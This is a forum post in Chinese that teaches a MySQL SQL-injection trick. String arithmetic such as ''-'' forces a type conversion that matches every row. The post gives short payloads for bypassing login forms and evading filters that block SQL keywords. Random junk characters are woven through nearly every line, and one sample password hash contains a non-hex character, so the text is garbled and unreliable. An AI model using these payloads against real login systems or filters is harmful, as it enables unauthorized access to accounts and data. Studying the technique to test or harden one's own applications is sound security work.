找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2101|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
7 I2 L- O. U, r, ]- |: E有以下表结构:
! B' [; A' o) Y
! j. O7 u# p+ d! T% Qmysql> desc admin;
2 W. m( |) Q& h+ i+----------+--------------+------+-----+---------+----------------+$ j  v& X8 c0 l% R
| Field    | Type         | Null | Key | Default | Extra          |
6 v4 l9 Y6 D' j; ?1 w+----------+--------------+------+-----+---------+----------------+7 R2 @& N/ K+ S2 I: c4 O$ _
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |  V2 s4 D0 g. f
| name     | char(32)     | NO   | UNI | NULL    |                |
5 f/ P% F) }9 L9 F3 r& L% }| password | char(32)     | NO   | UNI | NULL    |                |
: I: z( s* k9 y. Z* O) z: n4 q+----------+--------------+------+-----+---------+----------------+
* S+ f) Y, z/ B- C3 rows in set (0.00 sec)8 U- k: ~; S/ S, w# {8 D
执行select * from admin;,成功返回所有记录内容。
/ B4 ]. K1 O' l7 d
1 f3 {$ ]- r. g$ o# H6 ?0 Z/ Z* {
+----+--------+----------------------------------+, x' Q% `( u9 F" Q! z
| id | name   | password                         |7 w) k7 o6 g1 D2 D$ n2 @# {
+----+--------+----------------------------------+
5 s. Z- L) M9 F# w' n. y|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
0 E. ?* \: ]% n3 o* M! S|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |" K8 y7 `) ?' B, i: n
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
2 j+ H4 s. P- }( ^) U+----+--------+----------------------------------+
' ?9 C( r% R$ ?  i/ `, S3 rows in set (0.00 sec)
4 y1 R1 y5 c8 a) ]+ R- K) u执行select * from admin where name=”;,没有匹配到任何记录。
5 z* R4 }2 B) G+ {+ X( Q3 N! l5 D  |$ K3 _# i( y4 I5 g
mysql> select * from admin where name = '';+ k8 k& [0 G6 A2 W
Empty set (0.00 sec)
' F4 s# Q4 T0 j' u* s- M那么我们来执行select * from admin where name = ”-”;) r6 U1 f; l" w, r: d

9 R0 ~& W* M' ^7 w! |  K3 [/ E0 A2 u% X3 N
+----+--------+----------------------------------+/ N. @2 f1 j) p9 v, H; H
| id | name   | password                         |5 X+ T& j0 O6 w- P+ |4 W, }
+----+--------+----------------------------------+
4 y2 z& U8 O$ K% T# Y0 s7 j|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |" J4 G3 o/ |, X2 o  A1 ?
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% t' Q$ e+ h* }9 S
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
. i: ~2 o0 O9 Y) Y+----+--------+----------------------------------+5 @" D9 E. z. P' t# _
3 rows in set, 3 warnings (0.00 sec)& W; a4 L0 b7 L$ G+ e, L
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 2 H0 g+ J7 h- ^9 l
- M9 v1 Q# `3 Q
mysql> show warnings;
0 \5 U- n( M# W1 M0 m) i+---------+------+------------------------------------------
' V. L! @. G8 |7 {* w: M| Level   | Code | Message
- k" D, C; \; w+---------+------+------------------------------------------( Q' b4 @& y' }
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
' O0 G' z7 V! n. d| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s' E# _6 Q& u* N6 e
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
! {5 i. d* w# z& c3 O- s% X/ {+---------+------+------------------------------------------
; E4 V' E% w: m* Q6 e3 rows in set (0.00 sec)( b. B, y$ r# x! X+ M4 ^
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 2 P. ]0 A$ c. p' E4 w4 h5 l
9 _( Y: h1 M; B( [3 e/ c
mysql> select ''-'';
, t; L, ^! Y6 t' c, Q- g$ e+-------+$ r) @; ^, k7 _, e# i  O; k
| ''-'' |- b8 d7 d; T* z3 m; [: `) r: D
+-------+7 y: O+ E+ p+ i; {  _: r1 ?, r5 l
|     0 |
; _1 X3 {8 U" S( Z7 L# L. {+-------+3 i- c  ~& F( r
1 row in set (0.00 sec)" S, R" i& J; j; h2 q% u
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 1 w# j6 R: [/ y: c

( x7 d. `8 e# A5 F- j  ~; Y6 D/ t5 ~mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
8 {5 k/ t) X# g# m+ k  v0 U+-----------------------------------------------------+
0 `+ b9 R9 [# t! q| CAST((select name from admin limit 1,1) as DECIMAL) |$ G/ D/ t: B$ g4 _6 S0 a
+-----------------------------------------------------+
- S6 k5 ^2 b( g8 a1 L|                                                   0 |( H7 m3 D( ?( s8 F- ]
+-----------------------------------------------------+
( k, x) U+ T0 p2 i5 n( i2 h* w1 row in set, 1 warning (0.00 sec)
+ I  B! s3 m/ a9 s因此where语句构成了相等的条件,where 0=”=”,记录被返回。 # J! V( F6 b. L* q0 U# t4 }7 N

4 t. k2 c; _9 R  ~SQL注入场景: http://www.sqlzoo.net/hack/
* Q& ?, ~( a" V: X6 k" C: B. b7 C( i

8 R6 `! P8 `4 o, R
3 v: u$ [: Y1 G, r" T4 B
3 H3 A% d% }& R. D( F如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
+ V5 k  Q1 K3 v. F0 z( W
! R' q# G+ F" _那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
5 M) `. i# L4 _4 t$ \& }  |8 A! Z8 T  O: z

  u9 P% M; _7 @7 B: Y4 m# A$ a2 [
9 u1 I& O+ R( a5 k$ Z* |) L1 `/ h0 x% D- A5 b
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ) Q0 {( y  L. N! m2 i
( r" c$ S  [, _' M( E% h# l/ Y
   * E) d1 c" {$ f2 Y- i. v1 Y0 n
: I5 Q2 m+ ^; {
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
8 Q) a8 a: v( S' M& L7 c4 o. _: \; D6 m$ o( B7 ~, n

8 S5 b7 Z$ A( I! G1 _mysql> select ''/1;
, X9 O) v* A3 N( k" c8 b& }4 a+------+
1 ?$ v3 }) _7 _$ a/ U/ I| ''/1 |! h6 K' ?4 |" k
+------+
" T! T3 ~2 R" N$ R9 |! ~; ]. j( Y7 e|    0 |6 G1 g( F2 W# }& @# n: D" a
+------+1 [8 _/ n' G8 U7 J7 [; X
1 row in set (0.00 sec)" m# T- O' Y9 r: T0 ?4 B
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
. d7 [3 o3 k% d% k
% k; s: s! _# e  R+ K% G; I& s/ c利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。3 o5 H0 [8 x- u9 k! z# A4 Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表